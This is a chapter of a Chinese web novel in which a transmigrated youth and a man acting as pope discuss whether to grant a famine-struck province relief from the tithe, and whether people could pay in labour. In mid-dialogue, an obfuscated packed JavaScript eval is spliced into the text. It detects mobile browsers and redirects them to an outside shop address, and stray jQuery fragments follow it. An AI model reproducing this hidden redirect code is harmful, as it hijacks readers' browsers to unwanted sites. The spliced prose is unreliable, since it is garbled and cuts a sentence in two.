15.什一税

作品:《温柔魅魔今天也在被觊觎

    莫里森对于面前神职者的跪拜没有任何表示,目光淡淡地扫过那些低垂的头颅,几不可察地点了下头,算是接受了他们的道歉。


    所有人心脏骤然一松。


    看着这些人惊惧的表情,姜楚韫终于真切感受到了教皇在这里代表的至高无上的地位,他拉住莫里森衣袖,低声说:“我们先走吧。”


    一瞬间,姜楚韫感到无数如有实质的目光落在自己身上,比起对莫里森的臣服,对他更像是冰冷的钩子,试图从他身上刮下点什么。


    紫泡主教恭敬地侧身,做出引领的姿态:“陛下旅途劳顿,我带您前往寝殿。”


    姜楚韫看了眼拄着权杖的莱斯特,不知道为什么,虽然这人总是笑容和蔼,但比起总是板着脸的紫袍主教,他会更加害怕莱斯特。


    三人走出圣池。


    教皇宫殿不远,穹顶绘着暗金色的壁画,描绘了神罚与末世,充满宗教意味。


    等紫袍主教离开后,姜楚韫回味了一下自己在圣池的表现,“他们都说你被圣兽认可了,但仔细想想,其实它刚刚根本没有搭理你嘛。”


    宫殿很大,姜楚韫跃跃欲试想四处看看,但又担心触发这里的什么禁制。


    于是他牵着莫里森的衣袖,让男人走在自己身边,有什么变故也能及时反应过来。


    莫里森听出对方的回味。


    他笑了笑:“你的意思呢?”


    “这么一看,被圣兽认可的人是明明是我。”姜楚韫忍不住笑出声,又清清嗓子,故作一本正经地说,“所以该当教皇的人是我嘛。”


    两人交谈间,走进了内室。


    内室比前厅更加奢华舒适,四柱床挂着深蓝色的天鹅绒床幔,地面铺着厚实的地毯。


    一扇屏风隔开的地方,就是一片巨大的浴池,架子上已经摆放好了干净的衣物。


    姜楚韫越看越喜欢。


    “当教皇感觉好幸福呀。”


    不远处就是教皇用来处理政务的书桌,莫里森的教皇冠冕还摆在上面,姜楚韫走过去拿起来给自己戴上,同时拿起一支羽毛笔假装批阅政务。


    姜楚韫板着一张脸询问。


    “这样看有没有教皇的样子?”


    莫里森点头道:“有。”


    男人这么顺从的态度,反而让姜楚韫有点吓到了,“你是不是有什么阴谋啊……”


    莫里森走过去,随便翻开几本桌上的文件,“教皇失踪半年,就算有主教代为处理,也积攒下来不少政务……教皇,处理一下?”


    姜楚韫:“……”


    莫里森:“教皇?”


    姜楚韫正想找个借口溜走,忽然想到什么,哼哼一笑,理直气壮地竖起一根手指摇了摇:“很遗憾,我是文盲,一个字都看不懂哦。”


    莫里森:“……”


    姜楚韫又打了个哈欠。


    “我好累,我要先休息了。”


    这次是真的累了。


    从刚进教廷就一直在提心吊胆,这会乍一放松,所有疲惫感瞬间都涌了上来。


    姜楚韫脱下沾了尘土的斗篷和外衣,只穿着里衣,将自己埋进柔软得过分的被褥里。


    小白乖乖地蜷缩在他枕边。


    虽然精力充沛的森林狼并不困,但它就想粘着姜楚韫,趴在边上摇摇尾巴也很开心。


    姜楚韫闭上眼睛。


    片刻后就沉沉睡去。


    这一觉睡得还算安稳,等姜楚韫再次睁开眼,窗外的教廷已经陷进夜色里。


    他迷迷糊糊想着要起来找点水喝,余光却瞥见不远处的书桌上还亮着一盏灯。


    莫里森手里捏着一支黑色羽毛笔,正垂眸看着摊开在桌上的一份文件。


    他侧脸在微弱的光影中被柔和了一点,没有白天面对外人时的不近人情了。


    莫里森看过来:“醒了?”


    姜楚韫还以为莫里森也会先休息,毕竟要处理积压了半年的政务,压力应该不小。


    姜楚韫随手抓起一件搭在床尾的深色外套,简单地往身上一裹,走过去好奇地问:“你不是真的教皇,能看得懂他们在说什么吗?”


    “这些文件报上来以后,枢机主教团会代为处理一部分,剩下这些也不是什么难事。”莫里森随手翻了翻,“只是因为牵涉的利益太广,他们不敢专断,才全部都递交到我这里。”


    姜楚韫若有所思地点点头。


    “你一来就把这些都摸清楚了?”


    莫里森顿了顿,旋即问他。


    “你睡着的时候,教廷的人送了几套衣服过来,就在那边,要去看看合不合适吗?”


    “真的?”姜楚韫生怕送了丑衣服过来,注意力一下就被勾走了,“那我得去看看了。”


    衣服整齐地挂在衣柜里。


    样式挑不出错,都很素净,但姜楚韫越看越不对劲:“是不是有点像女孩子穿的?”


    莫里森反问:“有吗?”


    他这么一说,姜楚韫也感觉是自己多想了,随手拿起一件睡袍,往浴池那走。


    屏风后是一片清澈的池水。


    池边已经更换了洁净的软巾和沐浴用的香膏,氤氲的水汽里还混着淡淡的药草香。


    姜楚韫把身上裹着的衣服褪下,单薄的身体暴露在潮湿的空气中,微微打了个颤。


    他缓缓走进池中,恰到好处的暖意让他舒服地叹了口气,“这个池子比我家的还大。”


    莫里森“嗯”了一声,然后才反应过来不对,寻常人会把自己家和教皇寝殿相比吗?


    姜楚韫也反应过来自己说错话了,默了默,慢吞吞地把半张脸沉进水里,“咕噜噜噜”地吐泡泡,试图用伪装出的惬意来掩盖心虚。


    隔着屏风,可以隐隐绰绰地看清姜楚韫在干什么,莫里森轻笑了一声,没有追问。


    姜楚韫的心又放松下来。


    “哗啦哗啦——”


    姜楚韫了撩了撩水花,声音透过屏风传出去,给人一种没心没肺的轻松感。


    莫里森没有再理他。


    姜楚韫有点无聊了。


    他把下巴搁在池边,隔着氤氲的水汽,透过屏风的缝隙看向外边的书桌,“莫里森,你刚才说有的文件不方便处理,是什么样的?”


    莫里森:“又愿意当教皇了?”


    “不许嘲讽我。”姜楚韫给自己换个更舒服的姿势,“读给我听听,说不定我能帮你呢?”


    屏风外静默了一瞬,莫里森才开口:“蒙沙尼州这三年连遭两次蝗灾,再加上今年反常的春季冻害,粮食减产严重,死了不少人。”


    扒拉水的“哗哗”声消失了。


    姜楚韫认真听着:“然后呢?”


    莫里森本以为姜楚韫听完开头就会失去兴趣,没想到对方却意外的专注。


    “那里的几位领主联合上书,请求教廷豁免蒙沙尼州未来三年的‘什一税’,但这是教廷主要收入之一,豁免三年的数额不小。”


    浴池那的声音又消失了。


    莫里森等了一会,都没听见姜楚韫再说话,他也不意外,低头重新拿起羽毛笔。


    “我不太懂什一税是什么。”姜楚韫的声音再次响起,能听得出他有在认真思考,“不过教廷的生存似乎并不倚仗它,为什么不能豁免?”


    莫里森闻言,依旧耐心,他早就发现,姜楚韫似乎对这个世界的常识很欠缺。


    虽然单纯,倒也不讨厌。


    莫里森简单为姜楚韫解释了一下各个地区之间错综复杂的关系,包括一些常识。


    姜楚韫大概听懂了,有些没听懂的细枝末节,也不敢问,怕暴露自己穿越的身份。


    莫里森继续解释原因。


    “这个例子一开,其他同样遭遇天灾或者自称困


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239461|197555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    难的领地必然效仿。等教廷财政吃紧,皇室便会趁机施压,这个国家只会更加动荡。”


    姜楚韫趴在浴池边上不动了。


    看起来世界观受到很大的冲击。


    虽然他上辈子生在庙堂争斗中心,但因为一家子都是溺爱的主,他真正听到耳朵里的,都是已经被美化过不知道多少版本的传闻了。


    莫里森继续批阅文件。


    姜楚韫心不在焉地泡在浴池里,被殿内的冷风吹得一个激灵,一下就回过了神。


    姜楚韫忽然想到什么。


    “莫里森,你快来快来。”


    莫里森依言放下笔,绕过屏风走到浴池边,姜楚韫还半浸在池水里,湿漉漉的黑发向后捋去,露出光洁的额头和纤细的脖颈。


    “我突然想到还有一个办法。”姜楚韫眼神亮得惊人,“你可以不直接豁免税务。”


    水波荡漾,映着壁灯的光,在姜楚韫细腻的皮肤上投下晃动的光斑,莫里森目光扫过,紧接着不动声色地移开目光:“嗯,什么?”


    姜楚韫努力组织语言:“就是……比如说,未来三年内,他们不一定要全部缴纳粮食或金币,可以允许他们用其他东西来抵税。”


    莫里森眼神一变,看向姜楚韫的目光里带着诧异:“你要让他们用土地和房屋抵债?”


    姜楚韫惊恐地看着他。


    “你疯了!怎么会这么想!”


    姜楚韫让莫里森离自己近点,同时趴在池边,用沾了水的手指在地上写写画画。


    “受灾后,肯定有很多需要人手的地方,能不能这样,领民的部分税额可以用劳役来折算,由你派出的神官来确定工程量和抵税额度。”


    这话让莫里森陷入片刻思索。


    姜楚韫的思路也越来越清晰。


    “教廷可以组织他们修路、造桥、开垦……总之所有内容都由教廷指定,这样既减轻了灾民负担,也不会让别地的领主觉得有利可图。”


    姜楚韫期待地看着莫里森。


    上辈子他们国家也有过类似的情况,这是父皇当时的处理方案,实行起来很顺利。


    片刻后,莫里森开口。


    “可以。”姜楚韫唇角刚翘起来,就听见他后半句话,“但你想过吗,这笔钱谁出?”


    姜楚韫愣了愣:“什么钱?”


    莫里森说:“这些领民都是领主的财产,领主一定会向教廷索要‘使用领民’的钱财。”


    虽然在领主心里,所有领民加起来的价值还抵不上他们衣服上的一颗宝石,但如果有人看上了这些领民,那他们的命就会变得值钱。


    姜楚韫脸色微变:“他们不是主动请求要豁免领民的什一税吗?不会这么压榨……”


    莫里森平静地说:“他们请求豁免的是领民要交给教廷的什一税,因为这笔支出优先度最高,已经影响穷困潦倒的领民给领主缴纳其他税金了。”


    这下倒是触及到姜楚韫的认知盲区了,他皱着眉苦思冥想片刻:“……找别的贵族募捐?这样他们还能博个好名声,应该会同意吧?”


    “这次蒙沙尼州蝗灾,你让每位贵族从口袋里取出一颗宝石作为募捐,他们或许会因为我的身份暂时服从,但如果明天旱灾、雨灾,每一次天灾,你都能要来一颗宝石吗?”


    姜楚韫的尾巴尖又耷拉下来。


    两个国家的制度有很大的差异,以至于上辈子非常奏效的办法在这里完全行不通。


    莫里森直白地点出姜楚韫的天真,姜楚韫也意识到自己的想法不成熟,但还是忍不住说:“要是真的能每次都要来一颗宝石就好了。”


    莫里森抱胸站在一旁,好整以暇地准备听姜楚韫的嘴里能说出什么有趣的话。


    姜楚韫也没辜负他,慢慢地说:“等他们身上没有宝石了,也就没有贵族和平民啦。”


    莫里森微微怔住。